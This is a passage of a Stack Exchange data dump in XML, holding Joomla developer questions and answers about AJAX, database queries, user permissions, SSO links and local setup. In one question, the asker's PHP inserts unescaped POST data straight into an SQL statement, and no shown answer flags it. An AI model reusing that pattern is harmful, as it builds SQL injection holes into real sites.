&lt;code&gt;Shelter&lt;/code&gt;, &lt;code&gt;ClientId&lt;/code&gt;, &lt;code&gt;Year&lt;/code&gt;, and &lt;code&gt;Month&lt;/code&gt;.  All of these grouping conditions are done to afford the use of &lt;code&gt;SUM()&lt;/code&gt; to return the amount of money paid by respective clients at respective shelters for any given year / month.&lt;/p&gt;&#xA;&lt;p&gt;The result set for this query is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;| Shelter   | ClientID | Year | Month | Amount   |&#xA;| --------- | -------- | ---- | ----- | -------- |&#xA;| Bellville | A82QS3OK | 2020 | 5     | 1,000.00 |&#xA;| Bellville | G993HJOS | 2020 | 7     | 755.00   |&#xA;| Bellville | G993HJOS | 2020 | 8     | 300.00   |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2020-07-07T14:37:54.553" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28256" PostTypeId="2" ParentId="28248" CreationDate="2020-07-07T23:29:52.163" Score="2" Body="&lt;p&gt;I see that you have modelled your development upon this page:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.w3schools.com/howto/tryit.asp?filename=tryhow_js_toggle_class&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.w3schools.com/howto/tryit.asp?filename=tryhow_js_toggle_class&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, that demo has a separation between the element with the click event and the element to be toggled.&lt;/p&gt;&#xA;&lt;p&gt;Your snippet has the popup element nested inside of the clickable element (there is a parent-child relationship).  Your issue pertains to the fact that clicking on the child(ren) will trigger the event listener bound to the parent.&lt;/p&gt;&#xA;&lt;p&gt;This is a reproduction of your issue: &lt;a href=&quot;https://jsfiddle.net/kcvdg73o/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/kcvdg73o/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To resolve the matter, you merely need to break the parent-child relationship that your popup currently has.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;popup&amp;quot; onclick=&amp;quot;myFunction()&amp;quot;&amp;gt;CLICK HERE TO SUBSCRIBE&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;will do the trick.  If you move the &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; in my demo link, you will successfully eliminate the unwanted behaviour.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2020-07-07T23:29:52.163" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28257" PostTypeId="1" CreationDate="2020-07-08T08:29:06.940" Score="2" ViewCount="81" Body="&lt;p&gt;I found some errors in the code of a third-party system plugin,&#xA;it is assumed that the developer will release updates and fix them,&#xA;but for today I would like to fix them myself, for this I made my system plugin,&#xA;in which I want to fix these methods. Not the whole class, but the methods. It is supposed to use something like a decorator.&#xA;I understand that you need to do this in the system plugin and I did it. Can this be implemented in this way?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgOverride extends PlgAnotherExtension&#xA;{&#xA;    public function fixMehodName($type, $data)&#xA;    {&#xA;        // my code&#xA;&#xA;        return parent::fixMehodName($type, $data);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The official documentation &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/System&lt;/a&gt; says about events through which you can influence, but everywhere we are talking about replacing the entire class and only about kernel files or components or modules and not plugins.&lt;/p&gt;&#xA;" OwnerUserId="14130" LastEditorUserId="14130" LastEditDate="2020-07-08T13:51:59.757" LastActivityDate="2020-07-08T13:51:59.757" Title="Override 3d party extension plugin method" Tags="|overrides|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28259" PostTypeId="2" ParentId="28234" CreationDate="2020-07-08T15:30:00.007" Score="0" Body="&lt;p&gt;If you Joomla work and need to access the database use Joomla functional to connect database&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14130" LastActivityDate="2020-07-08T15:30:00.007" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28260" PostTypeId="1" CreationDate="2020-07-08T18:38:47.830" Score="2" ViewCount="171" Body="&lt;p&gt;I added a component to my site and it accesses my DB via an AJAX call.  In my 'tmpl' folder, I have a 'default.php' file which makes an AJAX call that is received by &lt;code&gt;view.json.php&lt;/code&gt; just outside that folder.  I really struggled to made that work, but I got it running by following the &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing an MVC Component documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now I want to do the same thing with my administrator part. I have a &lt;code&gt;helloworld.php&lt;/code&gt; file inside my administrator &amp;gt; components &amp;gt; com_helloworld and I want to make an AJAX request.  However, adding a &lt;code&gt;view.json.php&lt;/code&gt; next to that file doesn't catch the AJAX call. The administrator files look like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fznlP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;component administration side files&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and it doesn't work using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;    type: &amp;quot;POST&amp;quot;,&#xA;    url: &amp;quot;#&amp;quot;,&#xA;    data: {&#xA;        [token]: &amp;quot;1&amp;quot;,&#xA;        task: &amp;quot;savetasks&amp;quot;,&#xA;        format: &amp;quot;json&amp;quot;,&#xA;        json: valuesJson&#xA;    },&#xA;    success: (html) =&amp;gt; {&#xA;        console.log(&amp;quot;success&amp;quot;);&#xA;    },&#xA;    error: (err) =&amp;gt; { &#xA;        alert(JSON.stringify(err));&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But the same thing when done in the 'site' side works perfectly; the files look like this: &lt;a href=&quot;https://i.stack.imgur.com/6lYZO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;component client side files&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The only real difference is that on the administrator side, I call the AJAX from &lt;code&gt;helloworld.php&lt;/code&gt; and in the client I call it from &lt;code&gt;default.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The way I get my AJAX call in the frontend is by using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;    type: &amp;quot;POST&amp;quot;,&#xA;    url: '#',&#xA;    data: {&#xA;        [token]: &amp;quot;1&amp;quot;, //i have the token saved in an input at the page just like the tutorial.&#xA;        task: &amp;quot;AnythingIInsertHereWorks&amp;quot;,&#xA;        format: &amp;quot;json&amp;quot;,&#xA;        json: stuffIWantToPass&#xA;    },&#xA;    success: (html) =&amp;gt; { &#xA;        //i do stuff on success here&#xA;    },&#xA;    error: (err) =&amp;gt; { //alert error&#xA;        alert(JSON.stringify(err));&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I get this at the &lt;code&gt;view.json.php&lt;/code&gt; file. The tutorial says it goes there because it is waiting to catch a JSON request, which I'm sending. The task name in the AJAX call can be whatever and the token I am saving in an input at the page. This works fine, in my &lt;code&gt;view.json.php&lt;/code&gt; file I do stuff like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$json = ($_POST['json']);&#xA;&#xA;$user = JFactory::getUser();&#xA;&#xA;$id = ($user-&amp;gt;id);&#xA;&#xA;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query = &amp;quot;insert into user_task values $json on duplicate key update id = values(id), user_id = &#xA;values(user_id), task_id = values(task_id), completed = values(completed), enabled = values(enabled), &#xA;supplier = values(supplier)&amp;quot;;&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This way the user can change inputs on the front-end and when they click save, I call this AJAX to save things into the tables I created. And this does the job. I don't understand, however, how do I do the same thing on the administrator?&lt;/p&gt;&#xA;&lt;p&gt;I have the html with inputs and such on my &lt;code&gt;helloworld.php&lt;/code&gt; file in the administrator part, just like shown. I get stuff from the DB and show it on the page as normal using &lt;code&gt;$db = JFactory::getDbo();&lt;/code&gt; and such. I don't really know how to save into the database from there. I just want to use AJAX to save the data that the administrator edited and wants to save. But adding a &lt;code&gt;view.json.php&lt;/code&gt; file in there doesn't &amp;quot;catch&amp;quot; the AJAX json call. I don't want to use a standard form submission since I don't want to reload the page.&lt;/p&gt;&#xA;&lt;p&gt;I hope this question is not confusing. I can give any other pieces of code and such.&lt;/p&gt;&#xA;&lt;p&gt;I've asked the same question in &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=727&amp;amp;t=980901&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Joomla! forums&lt;/a&gt; and on &lt;a href=&quot;https://stackoverflow.com/q/62758357/8239042&quot;&gt;Stack Overflow&lt;/a&gt;, but didn't manage to solve it yet.&lt;/p&gt;&#xA;&lt;p&gt;This is Joomla! 3.x as far as I'm aware. Also if someone would be so kind, I could join a voice chat in discord or other.&lt;/p&gt;&#xA;" OwnerUserId="14393" LastEditorUserId="12352" LastEditDate="2020-07-08T21:52:05.293" LastActivityDate="2020-07-08T21:52:05.293" Title="How to get an AJAX call in component's administrator side" Tags="|joomla-3.x|component|ajax|mvc|json|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28261" PostTypeId="1" AcceptedAnswerId="28262" CreationDate="2020-07-09T09:38:23.563" Score="0" ViewCount="34" Body="&lt;p&gt;I don't understand the world right now. I try to make a simple query from the DB, but it fails with the message that the column is not known. I do not understand why Joomla! tries to see the value I am looking for as a column. This is my query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;            $data = new stdClass();&#xA;        try{&#xA;            $db = JFactory::getDbo();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query&#xA;                -&amp;gt;select('*')&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__extensions'));&#xA;                $query-&amp;gt;where($db-&amp;gt;quoteName('element') . &amp;quot; = &amp;quot; . $db-&amp;gt;quoteName('com_componentname'));&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $data-&amp;gt;params = $db-&amp;gt;loadObject();&#xA;&#xA;&#xA;        }catch(Exception $e){&#xA;            $data-&amp;gt;query = $query-&amp;gt;dump();&#xA;            $data-&amp;gt;errormsg = $e-&amp;gt;getMessage();&#xA;        }&#xA;&#xA;        return $data;&#xA;&#xA;    }else{&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The response is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'errormsg' =&amp;gt; 'Unknown column \'com_componentname\' in \'where clause\'',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why does Joomla! try to find the component name as a column? What I want:&#xA;Where &lt;em&gt;componentname&lt;/em&gt; in Columns &lt;em&gt;name&lt;/em&gt; from table &lt;em&gt;extensions&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Or is there another / better way to load the parameters of a component within a module?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2020-07-09T09:58:02.490" Title="Joomla DB where statement not works as expected" Tags="|module|database|jdatabase|select|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28262" PostTypeId="2" ParentId="28261" CreationDate="2020-07-09T09:58:02.490" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseDriver.html#method_quoteName&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;JDatabaseDriver::quoteName()&lt;/code&gt;&lt;/a&gt; is for quoting SQL identifiers. Use &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseDriver.html#method_quote&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;JDatabaseDriver:quote()&lt;/code&gt;&lt;/a&gt; to quote and escape strings.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where($db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote('com_componentname'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-07-09T09:58:02.490" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28263" PostTypeId="2" ParentId="28217" CreationDate="2020-07-09T10:07:27.750" Score="0" Body="&lt;p&gt;I have it now working for a week. Someone give me an example and it is simpler than I thought! And I was on the wrong track.&lt;/p&gt;&#xA;&lt;p&gt;I read on some forums about a heading- and a Child table. My mindset about a heading- and child table that these are two 'physical' different tables related to each other by a foreign key.&#xA;If I understand now, this is not the idea behind it. It is one table with 'main' data and a field with 'child' data saved as JSON format.&lt;/p&gt;&#xA;&lt;p&gt;Than an second important thing the field in that table &lt;strong&gt;MUST&lt;/strong&gt; have the &lt;strong&gt;SAME&lt;/strong&gt; name as the subform name!! Otherwise the data is not saved and you don't get an error message!&lt;/p&gt;&#xA;&lt;p&gt;The subform is good to use for let say a floor (heading) - room (child) relation.&#xA;I thing it is hard to use if you have table without a heading-child relation, but just simple config-data. I thought it is nice to use in this case as well because you don't have to fill in one value and press every time 'save-new'. With a subform it is more user friendly IMHO, you press the '+' sign and add a value.&lt;/p&gt;&#xA;&lt;p&gt;In the 'example' I received the function check()  ('tables'.php) added with the line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function check() {&#xA;    //You can add here more as filling created_by etc.&#xA;    $this-&amp;gt;subformname = json_encode($this-&amp;gt;subformname);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Were the function check come from, I don't know, but works&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;And at the edit.php you can simply add:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;renderField('subformname');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I hope that I have not forgotten something but than it works.&lt;/p&gt;&#xA;&lt;p&gt;Except of the edit.php line, I was not AWARE of this these things and I could not find something about these specific issue's!&#xA;I was on a way to make my own 'save' function for the controller and model. But after some hours in some days, I thought this can't be idea behind it, because it is a joomla field so it should more or less work out of the box, but how does this work!???&lt;/p&gt;&#xA;&lt;p&gt;Therefore it should be nice if there is simple straightforward tutorial or example, so that someone can see that it works or at least it gives you the idea that it works! further I don't ask anything from anyone.&lt;/p&gt;&#xA;&lt;p&gt;I'm not asking from you or anyone else to &lt;strong&gt;make&lt;/strong&gt; a specific example or tutorial for me but maybe you know were I can find this important example/tutorial. And I don't know were mickmackusa has found these fundamental information, but if you can point me to this, than I feel bad.&lt;/p&gt;&#xA;&lt;p&gt;And if you can point me to this information maybe you can point me also to the info were is explained what the functionality is and when should use it about:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;function postSaveHook&lt;/li&gt;&#xA;&lt;li&gt;function postDeleteHook&lt;/li&gt;&#xA;&lt;li&gt;function validate&lt;/li&gt;&#xA;&lt;li&gt;and maybe function check (this was new for me)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And otherwise, I hope that I will come along this information while I'm searching for something else.&lt;/p&gt;&#xA;&lt;p&gt;BR.,&lt;/p&gt;&#xA;&lt;p&gt;Nico&lt;/p&gt;&#xA;" OwnerUserId="14338" LastActivityDate="2020-07-09T10:07:27.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28264" PostTypeId="1" CreationDate="2020-07-09T12:32:07.910" Score="1" ViewCount="37" Body="&lt;p&gt;It seems to me that when I create a new user group they have access to everything and I maybe only want them to have access to one thing e.g. com_content.&lt;/p&gt;&#xA;&lt;p&gt;I have to painstakingly change the priviledges for all items to deny and then leave only the one I want on.  I'd prefer if they were denied by default.&lt;/p&gt;&#xA;&lt;p&gt;Is there a quicker or easier way to acheive this?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-07-09T13:02:00.293" Title="Is there a quick way to deny all privledges for a user group?" Tags="|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28265" PostTypeId="2" ParentId="28264" CreationDate="2020-07-09T13:02:00.293" Score="1" Body="&lt;p&gt;You could create a &lt;strong&gt;system plugin&lt;/strong&gt; that checks:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;admin / site&lt;/li&gt;&#xA;&lt;li&gt;component&lt;/li&gt;&#xA;&lt;li&gt;usergroup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;and when the values do not meet you're requirements, then redirect to a com_content page (maybe with a warning).&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-07-09T13:02:00.293" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28266" PostTypeId="1" CreationDate="2020-07-10T11:41:43.453" Score="1" ViewCount="112" Body="&lt;p&gt;I would like to know how I upload files to a specific folder through Joomla Administrator Panel (My Component Backend).&lt;/p&gt;&#xA;&lt;p&gt;I know how to do it in the site part following along with this tutorial:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/J3.2:Developing_an_MVC_Component/Adding_an_Image#site.2Fcontrollers.2Fhelloworld.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Special:MyLanguage/J3.2:Developing_an_MVC_Component/Adding_an_Image#site.2Fcontrollers.2Fhelloworld.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However I don't know how to do the same thing in the backend part.&lt;/p&gt;&#xA;&lt;p&gt;I have this in my &lt;code&gt;controller&lt;/code&gt; file to edit and add a new image:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function allowAdd($data = array())&#xA;    {&#xA;        return parent::allowAdd($data);&#xA;    }&#xA;&#xA;&#xA;  protected function allowEdit($data = array(), $key = 'id')&#xA;    {&#xA;        $id = isset( $data[ $key ] ) ? $data[ $key ] : 0;&#xA;        if( !empty( $id ) )&#xA;        {&#xA;            return JFactory::getUser()-&amp;gt;authorise( &amp;quot;core.edit&amp;quot;, &amp;quot;com_gallery.image.&amp;quot; . $id );&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I could use my own code inside these functions but I think I won't be able to check if the user has permissions to execute these actions. I'm not sure what &lt;code&gt;JFactory::getUser()-&amp;gt;authorise()&lt;/code&gt; is for but I think it authorises the user to perform actions when they have permission to do so.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So my question is:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to use my own upload code and check whether the user has permissions to execute that action or not?&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-07-10T12:13:02.720" LastActivityDate="2020-07-10T12:13:02.720" Title="How do I upload images to a specific folder (Component Backend)" Tags="|joomla-3.x|component|administrator|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="28267" PostTypeId="1" CreationDate="2020-07-11T15:56:34.017" Score="0" ViewCount="84" Body="&lt;p&gt;I've got a custom component I've written which has a task that needs to be run every evening.&#xA;I'm using JApplicationCli but I can't get it to work.&lt;/p&gt;&#xA;&lt;p&gt;From searching on the web I've found a suggestion to use renderComponent like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class myCli extends JApplicationCli&#xA;{&#xA;    public function doExecute()&#xA;    {    &#xA;        $app = JFactory::getApplication('site');&#xA;        $app-&amp;gt;input-&amp;gt;set('task', 'myController.myTask');&#xA;        $component = Joomla\CMS\Component\ComponentHelper::renderComponent('com_myComponent');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The problem I'm having is when my code tries to get an instance of another component it gets back false:&#xA;&lt;code&gt;$vmuser = JModelLegacy::getInstance('User','VirtueMartModel');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This works when I run it as a normal web request but not from the cli.&lt;/p&gt;&#xA;" OwnerUserId="13089" LastActivityDate="2020-07-11T15:56:34.017" Title="Can't get a task to work from CLI" Tags="|cli|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28268" PostTypeId="1" CreationDate="2020-07-14T07:45:15.860" Score="0" ViewCount="297" Body="&lt;p&gt;I am using MAMP and pointing to the project folder. After I access http://localhost, it does not show the website but shows index.html file. I also added db locally, the configuration file I also adjusted. How can I make it work?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;Here is my httpd.conf file: &lt;a href=&quot;https://pastebin.com/xvQ0CvzU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/xvQ0CvzU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14399" LastEditorUserId="14399" LastEditDate="2020-07-15T07:35:49.733" LastActivityDate="2020-07-21T01:14:52.690" Title="After moving from server to localhost it points to main folder index.html instead of showing the site I had live" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28269" PostTypeId="2" ParentId="28268" CreationDate="2020-07-14T07:55:51.383" Score="2" Body="&lt;p&gt;Joomla uses index.php as the base, so check the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete index.html if it exists&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the .htaccess file if it exists for a DirectoryIndex directive. If it looks like:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;DirectoryIndex index.html index.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;reverse the order of the two file names, or just remove the index.html part.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;em&gt;Additionally from the comments:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Modify your httpd.conf.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking at your paste bin try:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;commenting out line 141 which is already defining the mime type - perhaps unnecessarily. I don't have MIME type definitions in my httpd.conf and it works fine, so it may be that the browser does the type interpretation itself without needing to be told by the server what to do with the file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;on line 258, change the DirectoryIndex directive from&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;DirectoryIndex index.html&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;DirectoryIndex index.php index.html&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;to help with managing the default pages.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="14062" LastEditDate="2020-07-21T01:14:52.690" LastActivityDate="2020-07-21T01:14:52.690" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28270" PostTypeId="1" CreationDate="2020-07-14T08:15:58.973" Score="2" ViewCount="109" Body="&lt;p&gt;I have implemented SSO (&lt;a href=&quot;https://searchsecurity.techtarget.com/definition/single-sign-on&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;S&lt;/strong&gt;ingle &lt;strong&gt;S&lt;/strong&gt;ign-&lt;strong&gt;O&lt;/strong&gt;n&lt;/a&gt;) in Joomla using &lt;a href=&quot;https://www.okta.com/products/single-sign-on/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OKTA&lt;/a&gt; and now my goal is to add a link in the main login page of Joomla using hooks.&lt;/p&gt;&#xA;&lt;p&gt;To do this, I have added one checkbox in the service provider tab of Joomla and one column in the database to determine whether the checkbox is checked or not. If checked it will give a &lt;code&gt;1&lt;/code&gt; value in the table otherwise &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now I have to add a link in the main page using hooks such that a like will be displayed if the value is &lt;code&gt;1&lt;/code&gt; in the database; otherwise no link.&lt;/p&gt;&#xA;&lt;p&gt;And I cannot find a function or class where I can do this same task.&lt;/p&gt;&#xA;&lt;p&gt;NOTE: I cannot modify the login.php of the Joomla default template.&lt;br&gt;&#xA;The plugin which I am using right now is &lt;a href=&quot;https://plugins.miniorange.com/joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;miniOrange's SAML SSO plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14400" LastEditorUserId="12352" LastEditDate="2020-07-14T14:03:15.820" LastActivityDate="2020-07-14T14:03:15.820" Title="Using hooks in Joomla to add a Single Sign-On link in main page of Joomla" Tags="|php|login|single-sign-on|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28271" PostTypeId="2" ParentId="28270" CreationDate="2020-07-14T09:16:10.320" Score="1" Body="&lt;p&gt;The easiest way to do what you are trying to accomplish is with template overrides, not plugin events (we don't call them &amp;quot;hooks&amp;quot; in Joomla). Ideally, you'd need to make a template override for com_users' login view and the mod_login module to make sure that both places where a user can log in are covered.&lt;/p&gt;&#xA;&lt;p&gt;The reason I'm not recommending a plugin event is that Joomla 3 does not yet have a plugin event to add additional login buttons / links to the login page. This feature was added in Joomla 4 with my contribution of the WebAuthn plugin. The idea behind adding those events was your use case: Single Sign On implementations. But that's besides the point since Joomla 4 is still in beta.&lt;/p&gt;&#xA;&lt;p&gt;As a side note, I wouldn't modify Joomla's database tables. It's not necessary. You can store additional per-user information in the #__user_profiles table. This is a more forward-looking approach, meaning that upgrading your site to Joomla 4 in a few months won't break your SSO implementation.&lt;/p&gt;&#xA;" OwnerUserId="7331" LastActivityDate="2020-07-14T09:16:10.320" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28272" PostTypeId="1" CreationDate="2020-07-14T13:07:15.523" Score="2" ViewCount="86" Body="&lt;p&gt;I've created a component for handling a multitude of things for my clients, but I frequently get feedback that certain sections aren't needed or that additional sections are desired. The first solution that came to mind was to strip the component down to just core functions and create separate &amp;quot;addon&amp;quot; packages for installing each extra view.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, I'm not quite sure what I need to search for to figure out how to start something like this. The first/only thing I did find was documentation on how to update a component, but that feels a bit janky as a solution since each addon would need a copy of the core code and might make things a bit messy down the line.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2023-12-25T18:01:00.080" Title="Is it possible to create a component &quot;addon&quot;?" Tags="|component|custom-component|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28273" PostTypeId="1" CreationDate="2020-07-14T23:15:05.010" Score="2" ViewCount="151" Body="&lt;p&gt;I am trying to migrating old classes names to the new ones available on &lt;code&gt;classmap.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;However after renaming the classes I am having these errors:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Class 'Text' not found //JText works&#xA;&#xA;Class 'BaseController' not found //JControllerLegacy works&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am new to joomla but for my understanding I only need joomla 3.x, which I am running.&lt;/p&gt;&#xA;&lt;p&gt;Am I missing some import?&lt;/p&gt;&#xA;" OwnerUserId="14401" LastEditorUserId="14401" LastEditDate="2020-07-15T13:04:35.703" LastActivityDate="2020-07-15T21:33:57.450" Title="How to migrate old J prefix classes to new Joomla classes" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28274" PostTypeId="2" ParentId="28239" CreationDate="2020-07-14T23:15:33.353" Score="3" Body="&lt;p&gt;If you're after a less code heavy way of doing it, you could use a mix of Regular Labs Modules anywhere and Regular Labs Articles Anywhere.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create your modules, and assign them all to a new position called &amp;quot;Random&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Create a category called Random Modules&lt;/li&gt;&#xA;&lt;li&gt;Create articles for each of the modules using Module plugin syntax&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/modulesanywhere/tutorial#how-to-use-it-syntax&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/modulesanywhere/tutorial#how-to-use-it-syntax&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create one more module that is assigned to the position you want the random modules to appear&lt;/li&gt;&#xA;&lt;li&gt;Use Articles Anywhere (note Pro edition needed for ordering) to make the module load a random article&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;{articles category=&amp;quot;Random Modules&amp;quot; ordering=&amp;quot;random&amp;quot; 